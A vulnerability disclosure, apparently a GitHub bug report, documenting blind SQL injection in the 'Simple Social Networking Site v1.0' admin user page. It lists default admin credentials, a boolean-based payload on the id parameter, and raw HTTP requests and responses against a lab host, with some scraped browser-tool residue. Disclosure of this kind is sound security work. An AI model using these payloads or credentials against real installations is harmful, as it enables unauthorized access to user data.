

main

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bug_report / vendors / oretnom23 / simple-social-networking-site / SQLi-3.md



debug601 Create SQLi-3.md

History

1 contributor

39 lines (25 sloc) | 1.5 KB

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Simple Social Networking Site v1.0 by oretnom23 has SQL injection

Author: k0xx

The password for the backend login account is: admin/admin123

vendors: <https://www.sourcecodester.com/php/15311/simple-social-networking-site-instagram-phpoop-free-source-code.html>

Vulnerability File: /sns/admin/?page=user/manage_user&id=

Vulnerability location: /sns/admin/?page=user/manage_user&id=id

[+] Payload: /sns/admin/?

page=user/manage_user&id=3%27%20and%20length(database())%20=6--+ // Leak place
---> id

Current database name: sns_db,length is 6

```
GET /sns/admin/?page=user/manage_user&id=3%27%20and%20length(database())%20=6--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
```

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

DNT: 1

Cookie: PHPSESSID=n23o4bgngdq5q3js6l0a0i6r6k

Connection: close

When length (database ()) = 5, Content-Length: 25820

GET /sns/admin/?page=user/manage_user&id=3%27%20and%20length(database())%20=5--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=n23o4bgngdq5q3js6l0a0i6r6k
Connection: close

HTTP/1.1 200 OK
Date: Thu, 05 May 2022 13:09:25 GMT
Server: Apache/2.4.48 (win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 25820

<!DOCTYPE html>
<html lang="en" class="" style="height: auto;">
<head>
 <meta charset="utf-8">
 <meta name="viewport" content="width=device-width, initial-scale=1">
<title>Simple Social Networking Site</title>

INT SQL BASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFI-
Load URL Split URL Execute
http://192.168.1.19/sns/admin/?page=user/manage_user&id=3' and length(database())=5--+
Post data Referrer 0xHEX %URL BASE64 Insert string to replace Insert replacing string Replace All
InstaMage - PHP Simple Social Networking Site - Admin Administrator Admin
Dashboard
Main
List of Members
List of Posts
Maintenance
User List
Settings
Warning: foreach() argument must be of type array/object, null given in C:\xampp\htdocs\sns\admin\user\manage_user.php on line 4
First Name
Middle Name
Last Name

When length (database ()) = 6, Content-Length: 25789

GET /sns/admin/?page=user/manage_user&id=3%27%20and%20length(database())%20=6--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=n23o4bgngdq5q3js6l0a0i6r6k
Connection: close

HTTP/1.1 200 OK
Date: Thu, 05 May 2022 13:08:32 GMT
Server: Apache/2.4.48 (win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 25789

<!DOCTYPE html>
<html lang="en" class="" style="height: auto;">
<head>
 <meta charset="utf-8">
 <meta name="viewport" content="width=device-width, initial-scale=1">
<title>Simple Social Networking Site</title>

SQL QUERY: SELECT * FROM USER WHERE ID=3; --+' and length(database())=6--+'

Load URLSplit URLExecute

☐ Post data☐ Referrer< 0xHEX >< %URL >< BASE64 >Insert string to replaceInsert replacing string☒ Replace All >>

InstaMage - PHP

Simple Social Networking Site - Admin

Ad

Dashboard

Main

- List of Members
- List of Posts

Maintenance

- User List
- Settings

First Name

John

Middle Name

Last Name

Smith

Username

jsmith